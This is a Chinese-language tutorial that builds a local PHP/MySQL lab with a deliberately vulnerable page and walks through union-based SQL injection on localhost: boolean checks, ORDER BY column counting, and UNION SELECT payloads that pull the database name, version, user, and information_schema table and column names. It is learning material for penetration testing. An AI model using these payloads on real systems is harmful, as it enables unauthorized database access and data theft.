php+mysql注入环境搭建及测试(上)

来源:互联网 发布:ug8 0数控编程视频教程 编辑:程序博客网 时间:2024/05/22 12:48

最近在观看小迪的第十三期视频,从里面学到了很多有关渗透方面的知识,弄懂了一些基础的mysql注入原理。同时记录下学习渗透的一些方法。


php+mysql注入环境搭建需要资料如下:

链接:http://pan.baidu.com/s/1kV746Dx 密码:026d

1.安装phpmystudy

自定义安装好phpmystudy,启动(运行phpmystudy)


2.编程一个注入页面(下载好的sql.php)

在phpmystudy安装路径下WWW目录创建一下文件夹test,

然后把下载好的sql.php复制一份到test下。



3.数据接受(创建数据库,注入传递参数到数据库)

http://127.0.0.1/phpmyadmin/           用户名密码都是root

创建一个表列数据,接受传递参数查询数据库。(我这里直接下数据库test下,创建一张biao表)

  1. CREATE TABLE IF NOT EXISTS `biao` (
  2.   `id` int(10) NOT NULL,
  3.   `title` varchar(1000) NOT NULL,
  4.   `text` varchar(1000) NOT NULL
  5. ) ENGINE=MyISAM DEFAULT CHARSET=GBK;

  6. INSERT INTO `biao` (`id`, `title`, `text`) VALUES
  7. (1,'渗透注入','本地搭建注入环境')



好了,到此php+mysql注入环境搭建完成。


测试:

传递的参数?i=1

http://127.0.0.1/test/sql.php?i=1



检测是否有注入 :and 1=1正常 and 1=2不正常






猜解字段数:http://127.0.0.1/test/sql.php?i=1 and  1=1  order by 3  (3正常,4不正常,字段数为3)




猜解数据库名:http://127.0.0.1/test/sql.php?i=1 and 1=1  union select 1,2,3



获取数据库信息:

数据库名 database()

数据库版本 version()

数据库用户 user()

操作系统 @@version_compile_os

http://127.0.0.1/test/sql.php?i=1 and 1=1  union select database(),version(),user()


得到数据库为test,用户为root,数据库版本5.5.47


查询test(使用小葵多功能转换工具得到hex编码)下的表名信息:

http://127.0.0.1/test/sql.php?i=1 and 1=1  union select table_name,2,3 from information_schema.tables where table_schema=0x74657374



查询biao(使用小葵多功能转换工具得到hex编码)下的列名信息:

http://127.0.0.1/test/sql.php?i=1 and 1=1  union select column_name,2,3 from information_schema.columns where table_name=0x6269616F






直接获取biao表名下的title列名的数据:

http://127.0.0.1/test/sql.php?i=1 and 1=1  union select title,2,3 from test.biao


0 0